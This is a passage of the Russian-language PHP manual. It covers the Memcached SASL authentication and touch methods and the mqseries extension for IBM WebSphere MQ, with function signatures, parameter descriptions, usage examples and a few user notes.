  • Memcached Constants

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает учётные данные для аутентификации

  • « Memcached::setOptions
  • Memcached::touch »
  • PHP Manual
  • Memcached
  • Устанавливает учётные данные для аутентификации

Memcached::setSaslAuthData

(PECL memcached >= 2.0.0)

Memcached::setSaslAuthData — Устанавливает учётные данные для аутентификации

Описание

public Memcached::setSaslAuthData(string $username, string $password): bool

Memcached::setSaslAuthData() устанавливает имя пользователя и пароль, которые должны быть использованы для SASL аутентификации с серверами memcache.

Данный метод доступен только в случае, если модуль memcached собран с поддержкой SASL. Обратитесь к разделу установка Memcached, чтобы узнать, как это сделать.

Список параметров

username

Имя пользователя для аутентификации.

password

Пароль для аутентификации.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

me at koen dot pt 03-Feb-2015 10:47
When using setSaslAuthData(), it's a good change you'll get the following warning:

Warning: Memcached::setSaslAuthData(): SASL is only supported with binary protocol in test.php on line 8

To enable binary protocol you'll have to set the Memcached::OPT_BINARY_PROTOCOL option to true:

<?php
$mc->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
?>


Устанавливает новый срок хранения для записи

  • « Memcached::setSaslAuthData
  • Memcached::touchByKey »
  • PHP Manual
  • Memcached
  • Устанавливает новый срок хранения для записи

Memcached::touch

(PECL memcached >= 2.0.0)

Memcached::touch — Устанавливает новый срок хранения для записи

Описание

public Memcached::touch(string $key, int $expiration = 0): bool

Memcached::touch() устанавливает новый срок хранения для записи с указанным ключом.

Список параметров

key

Ключ, под которым сохраняется значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Смотрите также

  • Memcached::touchByKey() - Устанавливает новый срок хранения для записи на указанном сервере

User Contributed Notes

Dehumanizer 30-May-2015 11:29
With PHP 5.4.41 and memcached 1.4.24 it works in ASCII mode as well.
Pramod Patil 12-Sep-2014 08:44
This is only supported when binary protocol is enabled.
$obj = new Memcached();
$obj->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);


Устанавливает новый срок хранения для записи на указанном сервере

  • « Memcached::touch
  • MemcachedException »
  • PHP Manual
  • Memcached
  • Устанавливает новый срок хранения для записи на указанном сервере

Memcached::touchByKey

(PECL memcached >= 2.0.0)

Memcached::touchByKey — Устанавливает новый срок хранения для записи на указанном сервере

Описание

public Memcached::touchByKey(string $server_key, string $key, int $expiration = 0): bool

Memcached::touchByKey() работает аналогично Memcached::touch(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ, под которым сохраняется значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Смотрите также

  • Memcached::touch() - Устанавливает новый срок хранения для записи

User Contributed Notes

There are no user contributed notes for this page.


Класс MemcachedException

(PECL memcached >= 0.1.0)

Введение

Обзор классов

class MemcachedException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


mqseries

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции mqseries
    • mqseries_back — MQSeries MQBACK
    • mqseries_begin — MQseries MQBEGIN
    • mqseries_close — MQSeries MQCLOSE
    • mqseries_cmit — MQSeries MQCMIT
    • mqseries_conn — MQSeries MQCONN
    • mqseries_connx — MQSeries MQCONNX
    • mqseries_disc — MQSeries MQDISC
    • mqseries_get — MQSeries MQGET
    • mqseries_inq — MQSeries MQINQ
    • mqseries_open — MQSeries MQOPEN
    • mqseries_put1 — MQSeries MQPUT1
    • mqseries_put — MQSeries MQPUT
    • mqseries_set — MQSeries MQSET
    • mqseries_strerror — Получить сообщение об ошибке, соответствующее её коду (MQRC)

User Contributed Notes

There are no user contributed notes for this page.


Введение

Этот модуль служит для взаимодействия с менеджерами очередей IBM WebSphere MQ series.

Интерфейс пытается повторить клиентский C-API интерфейс WebSphere MQ Series настолько точно, как это только возможно. Используются те же самые договорённости по именованию и функциональность C-API. Для понимания принципов работы этого модуля необходимо понимать принципы работы C-API.

Для MQ-options, MQ-structures, MQ-results и т.д., читайте "WebSphere MQ Application Programming Guide" и "WebSphere MQ Application Programming" Reference.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Рабочая установка IBM WebSphere MQ. При сборке модуля также потребуется SDK для IBM WebSphere MQ.

Замечание: Будьте внимательны, используя совместно с клиентом IBM WebSphere MQ, так как некоторые методы будут недоступны. Это не проблема модуля, просто так работает интерфейс клиента WebSphere MQ.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/mqseries.

Замечание: Официальное имя этого модуля - mqseries.

Есть два способа соединения с менеджером очередей, и зависят они от того, каким образом скомпилирован и собран модуль.

  • Первый, он же способ по умолчанию, заключается в использовании библиотек mqic. Сборка модуля с использованием этих библиотек IBM WebSphere MQSeries позволяет модулю соединяться с менеджером очередей, используя клиентский интерфейс. При использовании этого способа разрешены удалённые соединения.

  • Второй способ заключается в сборке модуля с использованием библиотек mqm. Использование этих библиотек позволяет использовать управление транзакциями менеджера очередей.

Текущие используемые библиотеки можно поменять в файле config.m4.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Каких-либо дополнительных опций конфигурации нет.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Этот модуль оперирует следующими ресурсами: connection и object_handle.

Функции mqseries_conn() и mqseries_connx() возвращают обработчики соединения.

Функция mqseries_open() возвращает обработчик объекта.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Для каждой константы WebSphere MQ существует её отражение в mqseries.

Про их значение и использование читайте в книгах "WebSphere MQ Application Programming Guide" и "WebSphere MQ Application Programming Reference".

Имена двойников констант в mqseries можно определить, убрав из констант PHP префикс MQSERIES_. К примеру, константы CompletionCode:

Константы mqseries
Константа PHP | Константа MQ
MQSERIES_MQCC_OK | MQCC_OK
MQSERIES_MQCC_WARNING | MQCC_WARNING
MQSERIES_MQCC_FAILED | MQCC_FAILED
MQSERIES_MQCC_UNKNOWN | MQCC_UNKNOWN

User Contributed Notes

There are no user contributed notes for this page.


Функции mqseries

Содержание

  • mqseries_back — MQSeries MQBACK
  • mqseries_begin — MQseries MQBEGIN
  • mqseries_close — MQSeries MQCLOSE
  • mqseries_cmit — MQSeries MQCMIT
  • mqseries_conn — MQSeries MQCONN
  • mqseries_connx — MQSeries MQCONNX
  • mqseries_disc — MQSeries MQDISC
  • mqseries_get — MQSeries MQGET
  • mqseries_inq — MQSeries MQINQ
  • mqseries_open — MQSeries MQOPEN
  • mqseries_put1 — MQSeries MQPUT1
  • mqseries_put — MQSeries MQPUT
  • mqseries_set — MQSeries MQSET
  • mqseries_strerror — Получить сообщение об ошибке, соответствующее её коду (MQRC)

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQBACK

  • « Функции mqseries
  • mqseries_begin »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQBACK

mqseries_back

(PECL mqseries >= 0.10.0)

mqseries_back — MQSeries MQBACK

Описание

mqseries_back(resource $hconn, resource &$compCode, resource &$reason): void

Функция mqseries_back() (MQBACK) производит откат транзакции. Т.е. все сообщения, помещённые в очередь с последней точки синхронизации, удаляются из неё. Все сообщения, прочитанные из очереди с последней точки синхронизации, восстанавливаются в ней (становятся доступными).

Using mqseries_back() работает только совместно с mqseries_begin() и только если используется прямое соединение с менеджером очередей, а не через интерфейс mqclient.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_back()

<?php
mqseries_back($conn, $comp_code, $reason);

if ($comp_code !== MQSERIES_MQCC_OK) {
printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

Примечания

Замечание:

mqseries_back() не работает, если для соединение с менеджером очередей используется MQSeries Client.

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_begin() - MQseries MQBEGIN

User Contributed Notes

There are no user contributed notes for this page.


MQseries MQBEGIN

  • « mqseries_back
  • mqseries_close »
  • PHP Manual
  • Функции mqseries
  • MQseries MQBEGIN

mqseries_begin

(PECL mqseries >= 0.10.0)

mqseries_begin — MQseries MQBEGIN

Описание

mqseries_begin(
resource $hconn,
array $beginOptions,
resource &$compCode,
resource &$reason
): void

Функция mqseries_begin() (MQBEGIN) открывает транзакцию, координирует работу менеджера очередей и может использовать внешние ресурсы менеджера.

mqseries_begin() стартует транзакцию. mqseries_back() или mqseries_cmit() - завершают.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_begin()

<?php
$mqbo = array();
mqseries_begin( $conn,
$mqbo,
$comp_code,
$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
/* код причины 2121 - предупреждающий. Смотри документацию MQSeries.*/
if ($reason !== 2121) {
printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
}
?>

Примечания

Замечание:

mqseries_begin() не работает, если для соединение с менеджером очередей используется MQSeries Client.

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_back() - MQSeries MQBACK
  • mqseries_cmit() - MQSeries MQCMIT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCLOSE

  • « mqseries_begin
  • mqseries_cmit »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQCLOSE

mqseries_close

(PECL mqseries >= 0.10.0)

mqseries_close — MQSeries MQCLOSE

Описание

mqseries_close(
resource $hconn,
resource $hobj,
int $options,
resource &$compCode,
resource &$reason
): void

Функция mqseries_close() (MQCLOSE) прекращает доступ к объекту и является функцией обратной mqseries_open() (MQOPEN).

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

hObj

Обработчик объекта.

Представляет используемый объект.

options

compCode

Completion code.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_close()

<?php
mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("close CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

Смотрите также

  • mqseries_open() - MQSeries MQOPEN
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCMIT

  • « mqseries_close
  • mqseries_conn »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQCMIT

mqseries_cmit

(PECL mqseries >= 0.10.0)

mqseries_cmit — MQSeries MQCMIT

Описание

mqseries_cmit(resource $hconn, resource &$compCode, resource &$reason): void

Функция mqseries_cmit() (MQCMIT) фиксирует транзакцию. Т.е. все сообщения, помещённые в очередь с последней точки синхронизации становятся постоянными. Все сообщения, прочитанные из очереди с последней точки синхронизации, удаляются из неё.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_cmit()

<?php
mqseries_cmit($conn, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("cmit CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

Примечания

Замечание:

mqseries_back() не работает, если для соединение с менеджером очередей используется MQSeries Client.

Смотрите также

  • mqseries_begin() - MQseries MQBEGIN
  • mqseries_back() - MQSeries MQBACK
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONN

  • « mqseries_cmit
  • mqseries_connx »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQCONN

mqseries_conn

(PECL mqseries >= 0.10.0)

mqseries_conn — MQSeries MQCONN

Описание

mqseries_conn(
string $qManagerName,
resource &$hconn,
resource &$compCode,
resource &$reason
): void

Функция mqseries_conn() (MQCONN) открывает соединение с менеджером очередей. Она возвращает обработчик соединения, используемый всеми остальными функциями модуля.

Список параметров

qManagerName

Имя менеджера очередей.

Имя менеджера очередей с которым устанавливается соединение.

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_conn()

<?php
mqseries_conn('WMQ1', $conn, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("conn CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}
?>

Смотрите также

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONNX

  • « mqseries_conn
  • mqseries_disc »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQCONNX

mqseries_connx

(PECL mqseries >= 0.10.0)

mqseries_connx — MQSeries MQCONNX

Описание

mqseries_connx(
string $qManagerName,
array &$connOptions,
resource &$hconn,
resource &$compCode,
resource &$reason
): void

Функция mqseries_connx() (MQCONNX) открывает соединение с менеджером очередей. Она возвращает обработчик соединения, используемый всеми остальными функциями модуля.

Вызов функции mqseries_connx() аналогичен вызову mqseries_conn() (MQCONN), за исключением того, что MQCONNX позволяет задать опции, определяющие режим работы с менеджером.

Список параметров

qManagerName

Имя менеджера очередей.

Имя менеджера очередей с которым устанавливается соединение.

connOps

Опции, определяющие работу функций

Смотрите структуру MQCNO.

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_connx()

<?php
$mqcno = array(
'Version' => MQSERIES_MQCNO_VERSION_2,
'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
'MQCD' => array('ChannelName' => 'MQNX9420.CLIENT',
'ConnectionName' => 'localhost',
'TransportType' => MQSERIES_MQXPT_TCP)
);

mqseries_connx('MQNX9420', $mqcno, $conn, $comp_code,$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}

?>

Пример #2 Пример использования mqseries_connx() с использованием SSL и URL ответчика OCSP

<?php
$mqcno = array(
'Version' => 4, //MQCNO_VERSION_4
'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
'MQCD' => array(
'Version' => 7, //MQCD_VERSION_7
'ConnectionName' => 'localhost',
'TransportType' => MQSERIES_MQXPT_TCP,
'ChannelName' => 'CONNECTIONCHANNEL',
'SSLCipherSpec' => 'NULL_SHA'
),
'MQSCO' => array(
'KeyRepository' => '/var/mqm/qmgrs/QUEUEMGR/ssl/key', //Local path where the SSL key repository can be found
'MQAIR' => array(
'Version' => 2, //MQAIR_VERSION_2
'AuthInfoType' => 2, //MQAIT_OCSP
'OCSPResponderURL' => 'http://dummy.OCSP.responder'
)
)
);

mqseries_connx('QUEUEMGR', $mqcno, $conn, $comp_code,$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}

?>

Смотрите также

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQDISC

  • « mqseries_connx
  • mqseries_get »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQDISC

mqseries_disc

(PECL mqseries >= 0.10.0)

mqseries_disc — MQSeries MQDISC

Описание

mqseries_disc(resource $hconn, resource &$compCode, resource &$reason): void

Функция mqseries_disc() (MQDISC) разрывает соединение с менеджером очередей. Она является противоположной функциям mqseries_conn() (MQCONN) и mqseries_connx() (MQCONNX).

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_disc()

<?php
mqseries_disc($conn, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("disc CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}
?>

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQGET

  • « mqseries_disc
  • mqseries_inq »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQGET

mqseries_get

(PECL mqseries >= 0.10.0)

mqseries_get — MQSeries MQGET

Описание

mqseries_get(
resource $hConn,
resource $hObj,
array &$md,
array &$gmo,
int &$bufferLength,
string &$msg,
int &$data_length,
resource &$compCode,
resource &$reason
): void

The mqseries_get() (MQGET) call retrieves a message from a local queue that has been opened using the mqseries_open() (MQOPEN) call

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

hObj

Обработчик объекта.

Представляет используемый объект.

md

Дескриптор сообщения (MQMD).

gmo

Опции получения сообщения (MQGMO).

bufferLength

Ожидаемый размер буфера результата

msg

Буфер, в который будет помещено извлечённое сообщение.

data_length

Актуальный размер буфера

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_get()

<?php
// Открываем соединение с MQ
mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// Теперь $conn содержит ссылку на соединение

// Открываем соединение с очередью testq
mqseries_open(
$conn,
array('ObjectName' => 'TESTQ'),
MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
$obj,
$comp_code,
$reason);
// Теперь $obj содержит ссылку на объект (TESTQ)

// Устанавливаем пустой дескриптор сообщения.
$mdg = array();
// Устанавливаем опции извлечения сообщения
$gmo = array('Options' => MQSERIES_MQGMO_FAIL_IF_QUIESCING | MQSERIES_MQGMO_WAIT, 'WaitInterval' => 3000);

// Получаем сообщение
mqseries_get($conn, $obj, $mdg, $gmo, 255, $msg, $data_length, $comp_code, $reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("GET CompCode:%d Reason:%d Text:%s<br>", $comp_code, $reason, mqseries_strerror($reason));
}

// закрываем $obj
mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// закрываем соединение с менеджером
mqseries_disc($conn, $comp_code, $reason);

?>

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_put() - MQSeries MQPUT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQINQ

  • « mqseries_get
  • mqseries_open »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQINQ

mqseries_inq

(PECL mqseries >= 0.10.0)

mqseries_inq — MQSeries MQINQ

Описание

mqseries_inq(
resource $hconn,
resource $hobj,
int $selectorCount,
array $selectors,
int $intAttrCount,
resource &$intAttr,
int $charAttrLength,
resource &$charAttr,
resource &$compCode,
resource &$reason
): void

Функция mqseries_inq() (MQINQ) возвращает массив целых чисел и набор строк, содержащих атрибуты объекта.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

hObj

Обработчик объекта.

Представляет используемый объект.

selectorCount

Количество селекторов.

selectors

Массив селекторов атрибутов.

intAttrLength

Количество целочисленных атрибутов.

intAttr

Массив целочисленных атрибутов.

charAttrLength

Длина буфера символьных атрибутов.

charAttr

Символьные атрибуты.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_inq()

<?php
$int_attr = array();
$char_attr = "";

mqseries_inq($conn, $obj, 1, array(MQSERIES_MQCA_Q_MGR_NAME), 0, $int_attr, 48, $char_attr, $comp_code, $reason);

if ($comp_code !== MQSERIES_MQCC_OK) {
printf("INQ CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
} else {
echo "INQ QManager name result ".$char_attr."<br>\n";
}
?>

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQOPEN

  • « mqseries_inq
  • mqseries_put1 »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQOPEN

mqseries_open

(PECL mqseries >= 0.10.0)

mqseries_open — MQSeries MQOPEN

Описание

mqseries_open(
resource $hconn,
array &$objDesc,
int $option,
resource &$hobj,
resource &$compCode,
resource &$reason
): void

Функция mqseries_open() (MQOPEN) устанавливает соединение с объектом.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

objDesc

Дескриптор объекта. (MQOD)

options

Опции, определяющие работу функций

hObj

Обработчик объекта.

Представляет используемый объект.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_open()

<?php
$mqods = array('ObjectName' => 'TESTQ');
mqseries_open(
$conn,
$mqods,
MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
$obj,
$comp_code,
$reason);
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}
?>

Смотрите также

  • mqseries_close() - MQSeries MQCLOSE

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT1

  • « mqseries_open
  • mqseries_put »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQPUT1

mqseries_put1

(PECL mqseries >= 0.10.0)

mqseries_put1 — MQSeries MQPUT1

Описание

mqseries_put1(
resource $hconn,
resource &$objDesc,
resource &$msgDesc,
resource &$pmo,
string $buffer,
resource &$compCode,
resource &$reason
): void

Функция mqseries_put1() (MQPUT1) помещает сообщение в очередь. Очередь должна быть не открыта.

Для посылки сообщения в очередь вы можете использовать как mqseries_put(), так и mqseries_put1(). mqseries_put() (MQPUT) используется когда необходимо поместить в очередь несколько сообщений, в то время как mqseries_put1() (MQPUT1) удобно использовать для одного сообщения. По сути, эта функция включает в себя последовательность вызовов MQOPEN, MQPUT и MQCLOSE, что позволяет не вызывать из по отдельности.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

objDesc

Object descriptor. (MQOD)

Дескриптор объекта (очереди), в которую необходимо поместить сообщение.

msgDesc

Дескриптор сообщения (MQMD).

pmo

Опции добавляемого сообщения (MQPMO).

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT

  • « mqseries_put1
  • mqseries_set »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQPUT

mqseries_put

(PECL mqseries >= 0.10.0)

mqseries_put — MQSeries MQPUT

Описание

mqseries_put(
resource $hConn,
resource $hObj,
array &$md,
array &$pmo,
string $message,
resource &$compCode,
resource &$reason
): void

Функция mqseries_put() (MQPUT) помещает сообщение в очередь или список распределения. Очередь, или список распределения, должна быть открыты.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

hObj

Обработчик объекта.

Представляет используемый объект.

md

Дескриптор сообщения (MQMD).

pmo

Опции добавляемого сообщения (MQPMO).

message

Само сообщение.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования mqseries_put()

<?php
// Открываем соединение с MQ
mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// Теперь $conn содержит ссылку на соединение

// Открываем соединение с очередью testq
mqseries_open(
$conn,
array('ObjectName' => 'TESTQ'),
MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
$obj,
$comp_code,
$reason);
// Теперь $obj содержит ссылку на объект (TESTQ)

// Настраиваем массив дескриптора сообщения. Читайте руководство MQSeries.
$md = array(
'Version' => MQSERIES_MQMD_VERSION_1,
'Expiry' => MQSERIES_MQEI_UNLIMITED,
'Report' => MQSERIES_MQRO_NONE,
'MsgType' => MQSERIES_MQMT_DATAGRAM,
'Format' => MQSERIES_MQFMT_STRING,
'Priority' => 1,
'Persistence' => MQSERIES_MQPER_PERSISTENT);

// Настраиваем опции добавления сообщения.
$pmo = array('Options' => MQSERIES_MQPMO_NEW_MSG_ID|MQSERIES_MQPMO_SYNCPOINT);

// кладём сообщение 'Ping' в очередь.
mqseries_put($conn, $obj, $md, $pmo, 'Ping', $comp_code, $reason);

if ($comp_code !== MQSERIES_MQCC_OK) {
printf("put CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
}

// Закрываем обработчик объекта $obj
mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// Закрываем соединение с менеджером.
mqseries_disc($conn, $comp_code, $reason);

?>

Смотрите также

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQSET

  • « mqseries_put
  • mqseries_strerror »
  • PHP Manual
  • Функции mqseries
  • MQSeries MQSET

mqseries_set

(PECL mqseries >= 0.10.0)

mqseries_set — MQSeries MQSET

Описание

mqseries_set(
resource $hConn,
resource $hObj,
int $selectorCount,
array $selectors,
int $intAttrCount,
array $intAttrs,
int $charAttrLength,
array $charAttrs,
resource &$compCode,
resource &$reason
): void

Функция mqseries_set() (MQSET) используется для изменения атрибутов очереди.

Список параметров

hConn

Обработчик соединения.

Представляет открытое соединение с менеджером очередей.

hObj

Object handle.

Используемый объект.

selectorCount

Количество селекторов.

selectors

Массив селекторов атрибутов.

intAttrCount

Количество целочисленных атрибутов.

intAttrs

Массив целочисленных атрибутов.

charAttrLength

Величина буфера строковых атрибутов.

charAttrs

Строковые атрибуты.

compCode

Код завершения.

reason

Код причины, квалифицирующий compCode.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • mqseries_inq() - MQSeries MQINQ

User Contributed Notes

There are no user contributed notes for this page.


Получить сообщение об ошибке, соответствующее её коду (MQRC)

  • « mqseries_set
  • Сеть »
  • PHP Manual
  • Функции mqseries
  • Получить сообщение об ошибке, соответствующее её коду (MQRC)

mqseries_strerror

(PECL mqseries >= 0.10.0)

mqseries_strerror — Получить сообщение об ошибке, соответствующее её коду (MQRC)

Описание

mqseries_strerror(int $reason): string

Функция mqseries_strerror() возвращает сообщение об ошибке в соответствии с её кодом.

Список параметров

reason

Код ошибки.

Возвращаемые значения

строка с описанием ошибки.

Примеры

Пример #1 Пример использования mqseries_strerror()

<?php
if ($comp_code !== MQSERIES_MQCC_OK) {
printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
exit;
}
?>

Результат выполнения данного примера:

Connx CompCode:2 Reason:2059 Text:Queue manager not available for connection.

User Contributed Notes

j dot romero dot 1214 at gmail dot com 04-Jan-2013 03:03
There might be some error codes missing from the package depending on the MQ client version you are using. To prevent further versions from returning an empty error message simply use a function such as:

<?php
    //... wrapper class ...

    public function getErrorMessage ($errorCode) {
        $errorString = mqseries_strerror($errorCode);
        if (!empty($errorString)) {
            return $errorString;
        } else {
            switch ($errorCode) {
                // insert missing codes here
                case 2537:
                    return "Channel is not available.";
                case 2538:
                    return "Host is not available.";
                case 2539:
                    return "Channel configuration error.";
